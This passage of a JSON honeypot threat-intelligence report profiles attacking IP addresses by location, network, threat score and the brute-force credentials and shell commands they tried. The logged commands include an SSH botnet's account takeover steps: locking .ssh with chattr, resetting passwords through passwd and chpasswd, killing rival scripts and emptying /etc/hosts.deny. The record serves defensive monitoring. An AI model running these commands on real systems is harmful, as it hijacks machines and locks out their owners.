      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T15:07:55.322000+00:00",
        "last_seen_30d": "2026-04-03T16:06:54.306000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "43.245.249.251": {
      "attack_count": 219,
      "first_seen": "2026-04-30T02:26:39.887Z",
      "last_seen": "2026-04-30T05:05:21.614Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "dev",
        "hduser",
        "345gs5662d34",
        "admin123",
        "admin2",
        "administrator",
        "afcadmin",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "minecraft",
        "postgres",
        "serv",
        "server",
        "testa",
        "tests",
        "testuser"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "00000000",
        "1",
        "123456789",
        "123456aaa",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "88888888",
        "A1234567a",
        "P@ssw0rd!",
        "P@ssw0rd123",
        "abc123.",
        "admin",
        "admin123",
        "afcadmin",
        "debian",
        "dev12345678"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"00000000\\n6kYVtOJd5sDC\\n6kYVtOJd5sDC\\n\"|passwd",
        "echo -e \"00000000\\n6kYVtOJd5sDC\\n6kYVtOJd5sDC\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 131740,
      "as_org": "PT Smart Media Pratama",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 314,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T02:26:39.887000+00:00",
        "last_seen_30d": "2026-04-30T05:06:29.280000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 95
      }
    },
    "103.241.45.120": {
      "attack_count": 199,
      "first_seen": "2026-04-22T15:37:32.227Z",
      "last_seen": "2026-04-22T16:07:06.974Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "frappe",
        "user",
        "345gs5662d34",
        "admin1234",
        "daniel",
        "elena",
        "ftpuser3",
        "gitlab-runner",
        "grid",
        "raaj",
        "server",
        "steam",
        "test",
        "testuser",
        "ubuntu",
        "username"
      ],
      "passwords_attempted": [
        "123456",
        "admin1234",
        "1234",
        "123456.a",
        "123456A@",
        "1qaz@WSX3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "ABCD1234",
        "Aa123456",
        "M3gaP33!",
        "Qwer!!",
        "Root-123",
        "Server25!",
        "User!@#$",
        "Welcome1",
        "Zxc12345",
        "asdqwe123",
        "password321",
        "qqQQ123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qwerty123\\n64RqbwYCHNEn\\n64RqbwYCHNEn\\n\"|passwd",
        "echo -e \"qwerty123\\n64RqbwYCHNEn\\n64RqbwYCHNEn\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ahmedabad",
      "asn": 45916,
      "as_org": "Gujarat Telelink Pvt Ltd",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T15:37:32.227000+00:00",
        "last_seen_30d": "2026-04-22T16:08:10.629000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 63
      }
    },
    "27.72.96.86": {
      "attack_count": 194,
      "first_seen": "2026-04-17T15:18:04.863Z",
      "last_seen": "2026-04-17T16:06:46.635Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test",
        "345gs5662d34",
        "admin",
        "azureuser",
        "deployer",
        "es",
        "frappe",
        "ftptest",
        "said",
        "steam",
        "student",
        "testtest",
        "user",
        "www-data"
      ],
      "passwords_attempted": [
        "123",
        "123123a@",
        "1234",
        "12345678",
        "2023@",
        "3245gs5662d34",
        "345gs5662d34",
        "AAqq112233",
        "Admin04",
        "Admin123456!!",
        "Frappe14!",
        "Password1!",
        "QWE!",
        "Qwer1234!@#$",
        "Test08!",
        "Test@123",
        "Tt123456",
        "d3pl0y3r",
        "ftp",
        "qazwsx001!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"v\\npYrOjpuni7Vf\\npYrOjpuni7Vf\\n\"|passwd",
        "echo -e \"v\\npYrOjpuni7Vf\\npYrOjpuni7Vf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T15:18:04.863000+00:00",
        "last_seen_30d": "2026-04-17T16:07:50.928000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "85.240.193.104": {
      "attack_count": 194,
      "first_seen": "2026-04-13T05:45:24.718Z",
      "last_seen": "2026-04-13T06:31:08.343Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "elastic",
        "server",
        "test",
        "user",
        "345gs5662d34",
        "admin",
        "deploy",
        "dietpi",
        "evan",
        "maint",
        "oleg",
        "oracle",
        "steam",
        "vpn"
      ],
      "passwords_attempted": [
        "123",
        "1q2w#E$R",
        "2wsx3edc!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "CCxx1234",
        "M3gaP33!",
        "Oracle10",
        "P@ssword123",
        "Root123456!@#",
        "Root2024@@",
        "S3cR3t!",
        "Server2026",
        "Test02",
        "Welcome2024",
        "Welcome@123",
        "dietpi",
        "evan",
        "maint123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"M3gaP33!\\npdl41grPe06P\\npdl41grPe06P\\n\"|passwd",
        "echo -e \"M3gaP33!\\npdl41grPe06P\\npdl41grPe06P\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Santo Est\u00eav\u00e3o",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T05:45:24.718000+00:00",
        "last_seen_30d": "2026-04-13T06:32:10.353000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 64
      }
    },
    "3.129.187.38": {
      "attack_count": 176,
      "first_seen": "2026-04-04T15:12:02.590Z",
      "last_seen": "2026-04-22T02:37:47.751Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11366,
        "days_active_30d": 30,
        "ports_targeted_30d": 177,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T02:55:56.521000+00:00",
        "last_seen_30d": "2026-04-30T17:42:35.411000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7344,
        "Honeytrap": 3328,
        "Cowrie": 176,
        "Dionaea": 161,
        "Mailoney": 146,
        "ConPot": 84,
        "Redishoneypot": 75,
        "ElasticPot": 17,
        "Tanner": 11,
        "Honeyaml": 10,
        "Ipphoney": 6,
        "CitrixHoneypot": 3,
        "H0neytr4p": 3,
        "Ciscoasa": 2
      }
    },
    "81.9.140.220": {
      "attack_count": 168,
      "first_seen": "2026-04-27T00:48:04.128Z",
      "last_seen": "2026-04-27T01:48:16.858Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$%@qwert",
        "1234512345",
        "1234567654321",
        "123qwe123q",
        "123sboyle123",
        "14011383",
        "1q1q1q1q1q",
        "1qaz#EDC5tgb",
        "3245gs5662d34",
        "345gs5662d34",
        "AB12345678",
        "Abcd1234",
        "P4ssw0rd",
        "QWERT!@$%",
        "abcd123",
        "n0h4ck",
        "needidcbackup",
        "qazxcfthn",
        "qwe!!",
        "salajan123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:TagmR4na9hSj\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Galdakao",
      "asn": 12338,
      "as_org": "Euskaltel S.A.",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T00:48:04.128000+00:00",
        "last_seen_30d": "2026-04-27T01:49:20.597000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "110.93.219.131": {
      "attack_count": 166,
      "first_seen": "2026-04-13T16:07:12.556Z",
      "last_seen": "2026-04-13T16:26:49.052Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "345gs5662d34",
        "ubuntu",
        "teamspeak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123.ZXCV",
        "Frappe0",
        "Hx123456",
        "P@$$w0rd",
        "Teamspeak0",
        "Ubuntu14!",
        "qazwsx11111@",
        "qwertyuiop123456789",
        "zabbix",
        "zxc!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "uname -m",
        "w",
        "which ls",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Frappe0\\nnZPlhVkB21uM\\nnZPlhVkB21uM\\n\"|passwd",
        "echo \"root:0sXla9VlzPjx\"|chpasswd|bash",
        "echo -e \"Frappe0\\nnZPlhVkB21uM\\nnZPlhVkB21uM\"|passwd|bash",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38193,
      "as_org": "Transworld Associates Pvt. Ltd.",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T16:07:12.556000+00:00",
        "last_seen_30d": "2026-04-13T16:27:57.528000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 166,
        "Suricata": 32
      }
    },
    "109.49.23.192": {
      "attack_count": 161,
      "first_seen": "2026-04-21T17:43:52.304Z",
      "last_seen": "2026-04-21T18:20:22.046Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "storage",
        "deploy",
        "jimmy",
        "lisi",
        "postgres",
        "sina",
        "test",
        "testx",
        "walter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11223344",
        "445566",
        "777",
        "AA1234567890",
        "Abc112233",
        "Huawei@1234",
        "Li147258",
        "P@$$word",
        "P@ssw0rd1381",
        "Qazwsx000@",
        "Temp1234",
        "Test01",
        "Ubuntu$",
        "azertyuiop",
        "jimmy",
        "lisi",
        "password123",
        "q1w2e3r4.1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Lisbon",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T17:43:52.304000+00:00",
        "last_seen_30d": "2026-04-21T18:21:30.238000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 161,
        "Suricata": 63
      }
    },
    "183.215.215.142": {
      "attack_count": 96,
      "first_seen": "2026-04-01T16:27:10.863Z",
      "last_seen": "2026-04-01T16:32:37.557Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56047,
      "as_org": "China Mobile communications corporation",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T16:27:10.863000+00:00",
        "last_seen_30d": "2026-04-01T16:33:39.887000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 49
      }
    },
    "35.205.192.163": {
      "attack_count": 72,
      "first_seen": "2026-04-23T13:56:41.532Z",
      "last_seen": "2026-04-23T13:57:47.340Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 15",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-23T07:48:16+00:00",
        "last_seen_30d": "2026-04-23T13:58:57.251000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 43,
        "Mailoney": 1
      }
    },
    "123.11.13.251": {
      "attack_count": 50,
      "first_seen": "2026-04-18T14:15:14.236Z",
      "last_seen": "2026-04-18T14:20:38.674Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T14:15:14.236000+00:00",
        "last_seen_30d": "2026-04-18T14:21:43.581000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.45.229": {
      "attack_count": 50,
      "first_seen": "2026-04-27T17:57:58.277Z",
      "last_seen": "2026-04-27T18:03:22.695Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:57:58.277000+00:00",
        "last_seen_30d": "2026-04-27T18:04:31.222000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.106.10": {
      "attack_count": 50,
      "first_seen": "2026-04-26T14:59:14.303Z",
      "last_seen": "2026-04-26T15:04:39.412Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Chunian",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T14:59:14.303000+00:00",
        "last_seen_30d": "2026-04-26T15:05:44.745000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.38.36": {
      "attack_count": 50,
      "first_seen": "2026-04-20T05:50:54.545Z",
      "last_seen": "2026-04-20T05:56:19.068Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhang Sadar",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T05:50:54.545000+00:00",
        "last_seen_30d": "2026-04-20T05:57:27.568000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "94.243.11.146": {
      "attack_count": 50,
      "first_seen": "2026-04-29T06:06:15.166Z",
      "last_seen": "2026-04-29T06:11:39.275Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T06:06:15.166000+00:00",
        "last_seen_30d": "2026-04-29T06:18:56.953000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "113.238.13.91": {
      "attack_count": 48,
      "first_seen": "2026-04-27T15:19:28.197Z",
      "last_seen": "2026-04-27T15:24:43.295Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T15:19:28.197000+00:00",
        "last_seen_30d": "2026-04-27T15:25:47.790000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "182.120.41.30": {
      "attack_count": 48,
      "first_seen": "2026-04-17T10:40:52.940Z",
      "last_seen": "2026-04-17T10:46:04.373Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
